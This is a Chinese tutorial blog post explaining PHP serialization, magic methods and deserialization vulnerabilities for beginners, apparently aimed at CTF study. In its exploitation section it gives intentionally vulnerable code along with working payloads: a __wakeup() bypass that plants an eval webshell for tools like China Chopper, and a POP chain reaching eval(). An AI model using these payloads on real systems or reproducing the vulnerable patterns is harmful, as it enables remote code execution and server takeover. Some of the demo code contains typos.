PHP反序列化漏洞-从入门到提升

article/2025/4/8 14:33:53

目录

第一章 PHP序列化基础

1.1 PHP序列化

1.1.1 PHP序列化概述

1.1.2 标准序列化

1.1.3 自定义序列化

1.1.4 序列化存储和转发

1.2 PHP反序列化

1.2.1 标准反序列化

1.2.2 未定义类的反序列化

1.2.3 Protected、Private属性反序列化

1.3 PHP序列化相关magic函数

1.3.1 __construct()和__destruct()

1.3.2 __sleep()和__wakeup()

1.3.3 __toString()

第二章 PHP反序列化漏洞

2.1 PHP反序列化漏洞简介

2.2 PHP反序列化漏洞利用

2.2.1 __wakeup()绕过

2.2.2 结合PHP代码审计,寻找漏洞

 2.3 PHP反序列化漏洞总结


申明:本文适合PHP反序列化漏洞初学者,从PHP序列化原理讲起,逐渐深入到反序列化及其漏洞,几乎每个知识点都配有代码演示,十分方便理解,希望对你们有所帮助!另外,本文只作为博主学习路上的记录罢了,起到督促作用,文内引用网上一些前辈的观点,如有雷同实属借鉴,嘻嘻


第一章 PHP序列化基础

1.1 PHP序列化

1.1.1 PHP序列化概述

在学习序列化之前,我们有必要了解其产生背景,PHP文件在执行结束后,相关的对象就会被销毁,此时如果另有其他页面需要调用这些对象是无法实现的,因为我们不可能让PHP文件一直无休止的去执行以保证对象不被销毁,于是在这样的需求推动下,序列化技术就产生了,所以,所谓的序列化实际上是为了方便数据的存储和转发。在PHP中序列化和反序列化一般用作缓存,比如session缓存、cookie缓存等,但是需要注意,PHP对Session的处理有三种引擎:

1、php_serialize             ///序列化字符串形式与serialize()函数处理结果一致

2、php                            ///序列化字符串为"key|value"的形式

3、php_binary

每一种处理引擎得到的序列化字符串格式不一样,默认为php,可通过ini_set('session.serialize_handler','php_serialize')来指定引擎。

1.1.2 标准序列化

PHP序列化是PHP程序设计中的一种格式化数据的方法,通过序列化可以将对象(class)、数组(array)等进行序列化转换为特定格式的字符串,同时不丢失其类型和结构,以便于存储和传递,PHP实现序列化的函数是serialize(),来看个例子:

由上面的例子可见,序列化对不同类型的数据序列化后标识符是不同的,通过序列化字符串的首位进行标识,具体如下:

类型标识
字符串s:size:value
整型i:value
布尔b:value
NULLN
数组a:size:{key;value}
对象

O:Obj_name_len:Obj_name:var_num:{var_name_type:var_name_len:var_name;var_value_type:var_value_len:var_value}

/// 注释:Obj-Object对象;var-varible变量

补充说明:

  1. 在序列化对象时,只会保留父类中的变量和自己申明的变量,而不会保留常量和方法(function)
  2. PHP通过关键字class来申明一个对象/类,在对象/类中使用$符申明变量/属性。

1.1.3 自定义序列化

在序列化对象的时候,对于一些敏感的属性并不需要保存,比如密码,此时可自定义序列化。在调用serialize()函数进行序列化对象时,该函数首先会检查对象中是否存在一个magic函数__sleep(),如果存在则先调用__sleep(),然后才执行序列化操作,因此可以通过重载__sleep()函数来实现自定义序列化行为。

  • __sleep()函数返回一个包含对象中所有应该被序列化的变量名称的数组;
  • 所谓重载__sleep(),就是改变其返回数组的内容
  • 如下例子中默认__sleep()返回的数组为['name','age','password'],重载后返回的数组为['name','age']过滤掉了敏感变量password

1.1.4 序列化存储和转发

一般而言可使用函数file_put_contents()来实现序列化字符串的存储,序列化的转发可通过转发存储在本地的文件来实现,如下面例子所示:

1.2 PHP反序列化

1.2.1 标准反序列化

通过上一节的讲解,我们知道数组、对象可以通过序列化为字符串进行存储,那么如何将序列化字符串还原为数组、对象呢?PHP提供了unserialize()反序列化函数来实现这一功能,如果反序列化的是对象,则在成功重构对象后,PHP会自动试图去调用magic函数__wakeup()。反序列化时,会尽量匹配预定义对象的变量名并赋值。

1.2.2 未定义类的反序列化

在上面的例子中,我们在调用反序列化函数之前,预先定义了person类,因此在执行反序列化之后,PHP会尽可能匹配反序列化后的变量名和预定义类person中的变量名,并进行赋值。如果我们在执行反序列化时,没有预先定义对象会发生什么呢?来看个例子:

比起之前预定义person类的结果,此处反序列化后构建的对象是__PHP_Incomplete_Class,并指明了未定义类的类名,此时我们尝试调用该对象看看会发生什么,如下所示:

显然此时报错了,提示incomplete object(不完整对象),并且从报错信息中可以看到规避方法:

1、在使用unserialize()之前定义对象;

2、使用__autoload()函数,指定加载对象的定义文件,如下图所示:

__autoload()接收的参数就是欲加载的类的名称,new person()时,由于不存在person对象,因此该对象名person会作为参数传递给__autoload(),在__autoload()中通过require_once方法来加载person.php文件,而正是person.php中定义了person对象,person.php文件内容如下:

1.2.3 Protected、Private属性反序列化

1、protectedprivate类型属性序列化

2、protectedprivate类型属性反序列化

首先,看看序列化字符串不经过任何修改而反序列化会发生什么?

此时,很明显报错了,这是因为protected、private类型属性的序列化字符串中存在不可见字符%00(%00实际代表空字符,会被浏览器渲染时过滤掉,因此上面例子中并未显现出来),因此,我们在进行反序列化时需要手动将%00添加进去,如下所示:

1.3 PHP序列化相关magic函数

PHP将所有__(两个下划线)开头的方法保留为magic函数,在PHP序列化操作中,有一些预定义的magic函数会被调用,比如__construct()、__destruct()、__toString()、__wakeup()、__sleep()等

1.3.1 __construct()__destruct()

在上面的例子中,似乎我们在new一个对象后,便可直接引用变量,实际上发生了一些我们看不到的事情,看看下面的例子,通过这个例子我们便能比较直观的理解magic函数__construct()和__destruct()的效果了

1.3.2 __sleep()和__wakeup()

接下来我们理解一下__wakeup()和__sleep()函数,其中__sleep()在一个对象被序列化的时候调用,而__wakeup()在一个对象被反序列化的时候被调用,来看看下面的例子,帮助我们理解这两个函数:

1.3.3 __toString()

最后,我们通过下面这个例子来理解__toString(),当对象被当作字符串的时候会自动调用__toString(),如下:

这里特别说一下__toString()魔术函数,触发它被调用的条件是比较多的,常见的触发条件有:

  1. echo/print $obj
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行==比较时
  5. 反序列化对象参与格式化SQL语句并绑定参数时
  6. 反序列化对象作为PHP字符串函数的参数时,比如strlen()、addslashes()等
  7. 反序列化对象作为class_exists()的参数时

第二章 PHP反序列化漏洞

2.1 PHP反序列化漏洞简介

  • PHP序列化漏洞也叫PHP对象注入,是一种非常多见的漏洞,漏洞的产生往往是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程被黑客恶意控制,进而造成代码执行、getshell等严重的后果,除了在PHP之中存在,反序列化漏洞在Java、Python中也普遍存在,原理基本上是一致的。
  • PHP反序列化漏洞的产生原因在于代码中unserialize($string)接收的参数可控,言外之意,想要利用反序列化漏洞,那么PHP程序代码中必须要存在unserialize()函数,并且该函数的参数可被操控。在前面的学习中,我们知道序列化只针对对象的属性(变量),对象里面定义的方法(function)是无法序列化的,因此作为hacker在反序列化过程中唯一的突破点便是对象的属性,因此,我们要想方设法篡改序列化字符串中的属性值来达到攻击的目的。

2.2 PHP反序列化漏洞利用

根据前面的分析,利用PHP反序列化漏洞的突破口在unserialize(),只要我们能够控制unserialize()的参数,那我们便能传入任何序列化字符串。但是,反序列化字符串中只有对象的属性,而无方法,因此我们没法直接控制代码的执行,那该怎么办呢?通过magic函数来操控反序列化过程,下面我们通过例子来帮助理解

2.2.1 __wakeup()绕过

1、构造漏洞代码

<?phphighlight_file(__FILE__);error_reporting(E_ALL & ~E_NOTICE);class class_001{var $target;function __wakeup(){$this->target = "it is __wakeup()!";}function __destruct(){$fp = fopen("F:/00 ProgramFiles/PhpStudy2018/PHPTutorial/WWW/wakeup.php","w");fputs($fp,$this->target);fclose($fp);}}​$cmd = $_GET['cmd'];$cmd_unserialize = unserialize($cmd);​include("wakeup.php");
?>

 2、漏洞代码分析

在执行unserialize()函数前会先检查是否存在__wakeup(),因此首先执行__wakeup(),为变量$target赋值"it is __wakeup()!",最后程序执行结束,对象被销毁,__destruct()被调用,将$target的值写入wakeup.php。因此,该代码正常情况下,无论GET传递什么参数,wakeup.php之中始终写入的都是"it is __wakeup()!" 

3、漏洞代码利用

构造恶意反序列化字符串,使得表示对象属性个数的值大于实际属性的个数,绕过__wakeup(),此时,GET传递的参数首先赋值给$target,然后随$target被写入wakeup.php,从而实现恶意代码执行

第一步:构造恶意序列化字符串:可先使用serialize()产生正常序列化字符串,再将其修改为恶意序列化字符串,注意由于此处$target变量未赋值,因此在序列化后,对应的属性值为N,需将N修改为"类型:长度:值"的形式,如下所示:

构造恶意序列化字符串为:O:9:"class_001":2:{s:6:"target";s:27:"<?php @eval($_POST[666]);?>";}

第二步:通过GET方法提交恶意序列化字符串

说明,由于恶意序列化字符串本身不符合语法规则,因此PHP在解析时会抛出Notice告警,但并不影响漏洞代码执行,可借助error_reporting()避免显示Notice告警,如下:

第三步:使用恶意上传的脚本wakeup.phpgetshell(蚁剑、中国菜刀等)

2.2.2 结合PHP代码审计,寻找漏洞

1、构造漏洞代码

<?phphighlight_file(__FILE__);error_reporting(E_ALL & ~E_NOTICE);class A{public $a;public function __destruct(){$this->function_a();}public function function_a(){$this->a->close();}}		class B{public $exp;function close(){eval($this->exp);}}$cmd = $GET_[666];$cmd_unserialize = unserialize($cmd);
?>

 2、漏洞代码分析

1、首先,粗略看一眼代码,发现class B中有eval()函数,eval()往往容易造成PHP远程代码执行,但是,漏洞代码中eval()的参数$exp并不可控,因此无法直接利用eval()执行远程代码。

2、接下来,我们的思路便是:如何让eval()的参数$exp变得可控,从而传入恶意代码

3、分析发现,class A里面的function_a()方法调用了一个未知的close()函数,那是否有办法让它去调用B里面的close()呢?

4、答案是肯定的,只需要满足下面两个条件:

      1)  A的属性$a是B的对象实例:$a = new B()
      2)  B的属性$exp可操控

5、最后,让d)中的两个条件成为现实,PHP序列化代码如下图,O:1:"A":1:{s:1:"a";O:1:"B":1:{s:3:"exp";s:10:"phpinfo();";};}

 3、GET提交恶意序列化字符串,实现代码注入

 利用GET方法提交构造的恶意序列化脚本,如下所示,可以发现我们构造的恶意代码(phpinfo())被执行了

我们来分析一下反序列化执行的过程:

1、GET提交恶意序列化字符串后,首先会构建一个对象A的实例(即new A()),脚本执行结束后,A会依次调用__destruct()和function_a()

2、由于恶意序列化字符串中,A的属性$a值为对象B的实例、其属性$exp的值为"phpinfo();",因此在function_a()中调用close()方法时会将"phoinfo();"作为参数传递给eval()

3、此时"phoinfo();"会被直接作为PHP代码解析

 2.3 PHP反序列化漏洞总结

经过前面的学习,想必对PHP反序列化漏洞已经有了初步的理解,反序列化漏洞危险而普遍,在CTF中往往会和PHP代码审计结合命题,即根据已知的PHP代码片段,分析存在的PHP序列化漏洞,然后构造恶意序列化字符串,最终实现攻击目的。此外,更为重要的是想要利用PHP反序列化漏洞,一定要对__construct()、__destruct()、__wakeup()、__sleep()、__toString()这些magic函数有足够的认识,这样才能更具它们的特性来构造恶意序列化字符串。

祝愿小伙伴们在成长的路上乘风直上!!!


http://chatgpt.dhexx.cn/article/FAdLkI8B.shtml

相关文章

php反序列化及__toString()

思路&#xff1a; 1./?sdata://text/plain,XXXXXX 2.include …php 3._tostring() echo unserialize(pass) echo file_get_content($this-file&#xff09; 把反序列化属性的值读取并输出 主要两个文件 index.php <?php $user $_GET["user"]; $file $_GET[…

PHP反序列化字符串逃逸

例题可看&#xff1a;https://www.cnblogs.com/v2ish1yan/articles/16118319.html 今天才学的&#xff0c;做个记录。 字符串逃逸分为两种&#xff0c;减少和增多。 主要是通过一个preg_replace()函数来进行字符串的减少和增多。 首先要知道逃逸的原理&#xff0c;就是反序…

浅析php反序列化原生类的利用

浅析php反序列化原生类的利用 如果在代码审计或者ctf中&#xff0c;有反序列化的功能点&#xff0c;但是却不能构造出完整的pop链&#xff0c;那这时我们应该如何破局呢&#xff1f;我们可以尝试一下从php原生类下手&#xff0c;php有些原生类中内置一些魔术方法&#xff0c;如…

CTF php反序列化总结

前言&#xff1a;本⼈⽔平不⾼&#xff0c;只能做⼀些类似收集总结这样的⼯作&#xff0c;本篇文章是我自己在学php反序列化写的一篇姿势收集与总结&#xff0c;有不对的地方欢迎师傅们批评指正~ php反序列化 定义&#xff1a;序列化就是将对象转换成字符串。反序列化相反&am…

PHP反序列化命令执行及防范

PHP反序列化命令执行 1、 序列化与反序列化原理 序列化&#xff08;serialization&#xff09;在计算机科学的数据处理中&#xff0c;是指将数据结构或对象状态转换成可取用格式&#xff08;例如存成文件&#xff0c;存于缓冲&#xff0c;或经由网络中发送&#xff09;&#…

PHP反序列化魔术方法

目录 __construct __destruct __call __get __set __isset __unset __sleep __wakeup __toString __invoke PHP讲以双下划线__保留为魔术方法&#xff0c;所有的魔术方法 必须 声明为 public。 __construct()&#xff0c;类的构造函数 __destruct()&#xff0c;类的析…

PHP反序列化详解(一)——反序列化基础

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是PHP反序列化详解&#xff08;一&#xff09;——反序列化基础。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#x…

php反序列化姿势学习

php反序列化姿势学习 1.__wakeup()函数绕过2./[oc]:\d:/i研究php反序列化逃逸1.替换后字符串增加2.替换后字符串减少 1.__wakeup()函数绕过 wakeup函数作为php反序列化中的一个函数&#xff0c;也经常被拿来当做考点&#xff0c;比如这样 function __wakeup() { if ($this->…

【web漏洞】PHP反序列化

目录 知识点反序列化常用方法&#xff1a;序列化的&#xff08;构造payload&#xff09;运行顺序反序列化的&#xff08;实现payload&#xff09;运行顺序绕过__wakeup()__tostring() 知识点 序列化&#xff08;serialize&#xff09;&#xff1a; 对象的状态信息转换为可以存…

PHP反序列化CTF例题

渗透学习 不安全的反序列化之PHP反序列化 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、CTF例题二、PHP反序列化漏洞和XSS跨站脚本总结 前言 本系列用于记录本人渗…

php反序列化漏洞

php反序列化漏洞 关于php面向对象编程&#xff1a; 对象&#xff1a;可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类&#xff1a;一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头&#xff0c;后面跟着类的名字。一个类可以包含有…

PHP反序列化漏洞总结

文章目录 一、 基础知识1、什么是反序列化漏洞:序列化与反序列化&#xff1a;1、序列化&#xff1a;2、反序列化&#xff1a; 二、PHP魔法函数1、常见方法:2、安全问题&#xff1a; 三、CTF中的反序列化例题一&#xff1a;例题二&#xff1a; 四、靶场练习1、反序列化触发XSS&a…

通过简单案例接触PHP反序列化

渗透学习 不安全的反序列化之反序列化基础 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、序列化和反序列化二、PHP反序列化漏洞1.serialize()2.unserialize()3.反序…

php反序列化--字符串逃逸

php反序列化–字符串逃逸 PHP反序列化的字符串逃逸&#xff0c;一共分有两种情况&#xff0c;情况一&#xff1a;过滤后字符串变多&#xff0c;情况二&#xff1a;过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow-web262为例讲解&#xf…

php反序列化漏洞(一)

PHP反序列化漏洞就是PHP对象注入 序列化&#xff1a;serialize 反序列化&#xff1a;unserialize 序列化其实就是将数据转换成可逆的数据结构&#xff0c;这种数据结构可认为是字符串。可逆的过程则为反序列化。 那么序列化有什么作用&#xff1f; 方便储存和传输。在PHP中…

php反序列化字符逃逸

前言 在了解php反序列化漏洞后&#xff0c;我又进一步学习了字符逃逸的相关内容。这一部分相对来说是比较难理解的。我也是在网上看了很多篇文章&#xff0c;再次自己总结一下究竟什么是字符逃逸&#xff0c;也方便日后复习。 字符逃逸的原理 什么是字符逃逸&#xff0c;从字…

php反序列化[基础]

基础 概述 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组&#xff0c;字符串&#xff0c;对象等 函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组&#xff0c;并返回一个字符串 据访问修饰…

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …

(37)【PHP反序列化】PHP反序列化原理、函数、利用过程

目录 一、简介&#xff1a; 二、原理&#xff1a; 2.1、函数&#xff1a; 2.1.1、serialize()序列化 2.1.2、unserialize()反序列化 三、常见的序列化格式&#xff1a; 四、产生的原因&#xff1a; 4.1、无类&#xff1a; 4.2、有类&#xff1a; 五、魔术方法&#x…

php反序列化总结

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串&#xff0c;方便保持稳定的格式在文件中传输&#xff0c;以便还原为原来的内容。 serialize ( mixed $value ) : stringserialize() 返回字符串&…